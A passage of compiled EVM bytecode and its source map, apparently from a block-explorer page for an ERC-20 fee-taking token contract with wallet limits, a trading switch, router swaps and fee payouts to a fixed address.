900460ff16155b801561183c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b457730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e57730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080730636fd14c2d9029e29489750f41302c24cb3d767426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220031ed06ebe47d3fd7d3fdb222920bcec576d92b2b04222a1b5ad69a02a24881d64736f6c63430008100033

Deployed Bytecode Sourcemap

5803:11764:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11196:558;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8102:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9419:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8485:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9941:119;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16911:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8325:68;;;;;;;;;;;;;:::i;:::-;;3954:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8252:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11763:576;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6338:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9197:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8575:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4069:103;;;;;;;;;;;;;:::i;:::-;;9702:114;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9822:113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8399:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9311:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9092:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3729:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9558:138;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8175:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6456:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8680:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8825:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11196:558;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11387:10:::1;11372:12;:25;;;;11423:10;11408:12;:25;;;;11454:5;11444:7;:15;;;;11487:12;11470:14;:29;;;;11521:6;11510:8;:17;;;;11546:5;11538;:13;;;;11576:6;11562:11;:20;;;;11613:18;11629:1;11613:11;;:15;;:18;;;;:::i;:::-;11601:8;;:30;;:67;;;;;11650:18;11666:1;11650:11;;:15;;:18;;;;:::i;:::-;11635:11;;:33;;11601:67;:98;;;;;11681:18;11697:1;11681:11;;:15;;:18;;;;:::i;:::-;11672:5;;:27;;11601:98;11593:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;11196:558:::0;;;;;;;:::o;8102:67::-;8139:13;8162:5;;;;;;;;;;;;;;;;;8155:12;;8102:67;:::o;9419:133::-;9494:4;9501:37;9510:10;9522:7;9531:6;9501:8;:37::i;:::-;9546:4;9539:11;;9419:133;;;;:::o;8485:84::-;8538:7;8555:12;;8548:19;;8485:84;:::o;9941:119::-;9992:7;10047:11;;10025:19;;10009:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;10002:56;;9941:119;:::o;16911:309::-;17009:4;17026:36;17036:6;17044:9;17055:6;17026:9;:36::i;:::-;17073:117;17082:6;17090:10;17102:87;17138:6;17102:87;;;;;;;;;;;;;;;;;:11;:19;17114:6;17102:19;;;;;;;;;;;;;;;:31;17122:10;17102:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;17073:8;:117::i;:::-;17208:4;17201:11;;16911:309;;;;;:::o;8325:68::-;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8386:5:::1;8369:14;;:22;;;;;;;;;;;;;;;;;;8325:68::o:0;3954:106::-;4009:4;4046:6;;;;;;;;;;;4035:17;;:7;:17;;;4028:24;;3954:106;;;:::o;8252:67::-;8293:5;6006:1;8301:16;;8252:67;:::o;11763:576::-;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11863:13:::1;11904:3;11896:4;11880:13;:11;:13::i;:::-;:20;;;;:::i;:::-;11879:28;;;;:::i;:::-;11863:44;;11918:19;11967:3;11957:6;11941:13;:11;:13::i;:::-;:22;;;;:::i;:::-;11940:30;;;;:::i;:::-;11918:52;;11981:17;12029:3;12018:7;12002:13;:11;:13::i;:::-;:23;;;;:::i;:::-;12001:31;;;;:::i;:::-;11981:51;;12065:4;12043:19;:26;;;;12102:6;12080:19;:28;;;;12139:7;12119:17;:27;;;;12157:13;12173:28;12198:2;12173:20;12191:1;12173:13;:11;:13::i;:::-;:17;;:20;;;;:::i;:::-;:24;;:28;;;;:::i;:::-;12157:44;;12229:5;12220;:14;;:38;;;;;12253:5;12238:11;:20;;12220:38;:60;;;;;12275:5;12262:9;:18;;12220:60;12212:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;11852:487;;;;11763:576:::0;;;:::o;6338:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;9197:108::-;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9295:8:::1;9271:11;:21;9283:8;9271:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;9197:108:::0;;:::o;8575:99::-;8641:7;8658:5;:14;8664:7;8658:14;;;;;;;;;;;;;;;;8651:21;;8575:99;;;:::o;4069:103::-;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4134:30:::1;4161:1;4134:18;:30::i;:::-;4069:103::o:0;9702:114::-;9750:7;9803:11;;9783:17;;9767:13;:11;:13::i;:::-;:33;;;;:::i;:::-;:47;;;;:::i;:::-;9760:54;;9702:114;:::o;9822:113::-;9867:7;9922:11;;9900:19;;9884:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9877:56;;9822:113;:::o;8399:80::-;8451:7;8469;:5;:7::i;:::-;8462:14;;8399:80;:::o;9311:102::-;9376:10;9368:5;:18;;;;9408:2;9395:10;:15;;9387:24;;;;;;9311:102;:::o;9092:99::-;3876:12;:10;:12::i;:::-;3865:23;;:7;:5;:7::i;:::-;:23;;;3857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9181:8:::1;9163:5;:15;9169:8;9163:15;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;9092:99:::0;;:::o;3729:87::-;3775:7;3802:6;;;;;;;;;;;3795:13;;3729:87;:::o;9558:138::-;9617:7;9634:60;9672:21;9690:1;9672:9;:21::i;:::-;9634:33;9651:15;7166:42;9651:9;:15::i;:::-;9634:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;9627:67;;9558:138;:::o;8175:71::-;8214:13;8237:7;;;;;;;;;;;;;;;;;8230:14;;8175:71;:::o;6456:19::-;;;;;;;;;;;;;:::o;8680:139::-;8758:4;8765:40;8775:10;8787:9;8798:6;8765:9;:40::i;:::-;8813:4;8806:11;;8680:139;;;;:::o;8825:127::-;8906:7;8923:11;:18;8935:5;8923:18;;;;;;;;;;;;;;;:27;8942:7;8923:27;;;;;;;;;;;;;;;;8916:34;;8825:127;;;;:::o;459:98::-;512:7;539:10;532:17;;459:98;:::o;963:82::-;1021:7;1042:1;1038;:5;;;;:::i;:::-;1031:12;;963:82;;;;:::o;17229:335::-;17339:1;17322:19;;:5;:19;;;17314:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17420:1;17401:21;;:7;:21;;;17393:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17502:6;17472:11;:18;17484:5;17472:18;;;;;;;;;;;;;;;:27;17491:7;17472:27;;;;;;;;;;;;;;;:36;;;;17540:7;17524:32;;17533:5;17524:32;;;17549:6;17524:32;;;;;;:::i;:::-;;;;;;;;17229:335;;;:::o;10517:670::-;10606:37;10617:6;10625:9;10636:6;10606:10;:37::i;:::-;10654:38;10674:6;10682:9;10654:19;:38::i;:::-;10703:41;10718:6;10726:9;10737:6;10703:14;:41::i;:::-;10756:35;10773:6;10781:9;10756:16;:35::i;:::-;10802:39;10815:6;10823:9;10834:6;10802:12;:39::i;:::-;10853:35;10862:6;10870:9;10881:6;10853:8;:35::i;:::-;10915:25;10933:6;10915:5;:13;10921:6;10915:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;10899:5;:13;10905:6;10899:13;;;;;;;;;;;;;;;:41;;;;10951:22;10976:32;10990:6;10998:9;10976:13;:32::i;:::-;:78;;11048:6;10976:78;;;11011:34;11019:6;11027:9;11038:6;11011:7;:34::i;:::-;10976:78;10951:103;;11084:36;11105:14;11084:5;:16;11090:9;11084:16;;;;;;;;;;;;;;;;:20;;:36;;;;:::i;:::-;11065:5;:16;11071:9;11065:16;;;;;;;;;;;;;;;:55;;;;11153:9;11136:43;;11145:6;11136:43;;;11164:14;11136:43;;;;;;:::i;:::-;;;;;;;;10595:592;10517:670;;;:::o;2002:162::-;2088:7;2131:1;2126;:6;;2134:12;2118:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2160:1;2156;:5;2149:12;;2002:162;;;;;:::o;875:82::-;933:7;954:1;950;:5;;;;:::i;:::-;943:12;;875:82;;;;:::o;4181:191::-;4255:16;4274:6;;;;;;;;;;;4255:25;;4300:8;4291:6;;:17;;;;;;;;;;;;;;;;;;4355:8;4324:40;;4345:8;4324:40;;;;;;;;;;;;4244:128;4181:191;:::o;787:82::-;845:7;866:1;862;:5;;;;:::i;:::-;855:12;;787:82;;;;:::o;10069:439::-;10191:1;10173:20;;:6;:20;;;10165:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10275:1;10254:23;;:9;:23;;;10246:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10353:1;10336:6;:19;10328:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10430:17;10440:6;10430:9;:17::i;:::-;10420:6;:27;;10412:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;10069:439;;;:::o;12348:191::-;12441:11;:19;12453:6;12441:19;;;;;;;;;;;;;;;;;;;;;;;;;12440:20;:47;;;;;12465:11;:22;12477:9;12465:22;;;;;;;;;;;;;;;;;;;;;;;;;12464:23;12440:47;12437:95;;;12497:14;;;;;;;;;;;12489:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;12437:95;12348:191;;:::o;12548:329::-;12652:11;:19;12664:6;12652:19;;;;;;;;;;;;;;;;;;;;;;;;;12651:20;:47;;;;;12676:11;:22;12688:9;12676:22;;;;;;;;;;;;;;;;;;;;;;;;;12675:23;12651:47;:77;;;;;12723:4;;;;;;;;;;;12702:26;;:9;:26;;;;12651:77;:107;;;;;7166:42;12732:26;;:9;:26;;;;12651:107;12648:222;;;12816:17;:15;:17::i;:::-;12783:28;12804:6;12783:5;:16;12789:9;12783:16;;;;;;;;;;;;;;;;:20;;:28;;;;:::i;:::-;12782:51;;12774:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;12648:222;12548:329;;;:::o;12886:159::-;12983:4;;;;;;;;;;;12970:17;;:9;:17;;;:41;;;;;12992:11;:19;13004:6;12992:19;;;;;;;;;;;;;;;;;;;;;;;;;12991:20;12970:41;12967:71;;;13034:1;13013:9;;:23;;;;;;;:::i;:::-;;;;;;;;12967:71;12886:159;;:::o;13054:349::-;13165:4;;;;;;;;;;;13155:14;;:6;:14;;;13152:130;;13189:20;:18;:20::i;:::-;13179:6;:30;;:53;;;;13213:11;:19;13225:6;13213:19;;;;;;;;;;;;;;;;;;;;;;;;;13179:53;:79;;;;13236:11;:22;13248:9;13236:22;;;;;;;;;;;;;;;;;;;;;;;;;13179:79;13171:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;13152:130;13310:14;:12;:14::i;:::-;13300:6;:24;;:47;;;;13328:11;:19;13340:6;13328:19;;;;;;;;;;;;;;;;;;;;;;;;;13300:47;:73;;;;13351:11;:22;13363:9;13351:22;;;;;;;;;;;;;;;;;;;;;;;;;13300:73;13292:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;13054:349;;;:::o;15691:197::-;15783:41;15798:6;15806:9;15817:6;15783:14;:41::i;:::-;15780:101;;;15826:29;15841:13;;15826:14;:29::i;:::-;15877:1;15857:9;:22;;;;15780:101;15691:197;;;:::o;15897:160::-;15978:4;16003:11;:19;16015:6;16003:19;;;;;;;;;;;;;;;;;;;;;;;;;16002:20;:47;;;;;16027:11;:22;16039:9;16027:22;;;;;;;;;;;;;;;;;;;;;;;;;16026:23;16002:47;15995:54;;15897:160;;;;:::o;16364:538::-;16450:7;16506:1;16473:30;16485:6;16493:9;16473:11;:30::i;:::-;:34;16470:410;;;16519:17;16539:59;16567:30;16579:6;16587:9;16567:11;:30::i;:::-;16539:23;16550:11;;16539:6;:10;;:23;;;;:::i;:::-;:27;;:59;;;;:::i;:::-;16519:79;;16632:35;16657:9;16632:5;:20;16646:4;16632:20;;;;;;;;;;;;;;;;:24;;:35;;;;:::i;:::-;16609:5;:20;16623:4;16609:20;;;;;;;;;;;;;;;:58;;;;16708:4;16683:42;;16692:6;16683:42;;;16715:9;16683:42;;;;;;:::i;:::-;;;;;;;;16757:1;16739:7;;:20;16736:104;;;16761:77;16779:4;7166:42;16801:36;16829:7;;16801:23;16812:11;;16801:6;:10;;:23;;;;:::i;:::-;:27;;:36;;;;:::i;:::-;16761:9;:77::i;:::-;16736:104;16857:21;16868:9;16857:6;:10;;:21;;;;:::i;:::-;16850:28;;;;;16470:410;16888:6;16881:13;;16364:538;;;;;;:::o;699:82::-;757:7;778:1;774;:5;;;;:::i;:::-;767:12;;699:82;;;;:::o;15282:400::-;15380:4;15397:13;15423:15;;15413:6;:25;;15397:41;;15449:19;15499:13;;15471:24;15489:4;15471:9;:24::i;:::-;:41;;15449:63;;15531:8;;;;;;;;;;;15530:9;:24;;;;;15543:11;;;;;;;;;;;15530:24;:42;;;;;15558:14;;;;;;;;;;;15530:42;:54;;;;;15576:8;15530:54;:78;;;;;15589:11;:19;15601:6;15589:19;;;;;;;;;;;;;;;;;;;;;;;;;15588:20;15530:78;:99;;;;;15625:4;;;;;;;;;;;15612:17;;:9;:17;;;15530:99;:126;;;;;15654:1;15633:9;;:23;;15530:126;:144;;;;;15660:14;15530:144;15523:151;;;;15282:400;;;;;:::o;13412:1066::-;7097:4;7086:8;;:15;;;;;;;;;;;;;;;;;;13483:20:::1;13506:66;13570:1;13507:57;13549:14;;13507:37;13531:12;;13507:19;13524:1;13507:12;;:16;;:19;;;;:::i;:::-;:23;;:37;;;;:::i;:::-;:41;;:57;;;;:::i;:::-;13506:63;;:66;;;;:::i;:::-;13483:89;;13583:32;13618:42;13647:12;13618:24;13629:12;;13618:6;:10;;:24;;;;:::i;:::-;:28;;:42;;;;:::i;:::-;13583:77;;13671:14;13688:36;13699:24;1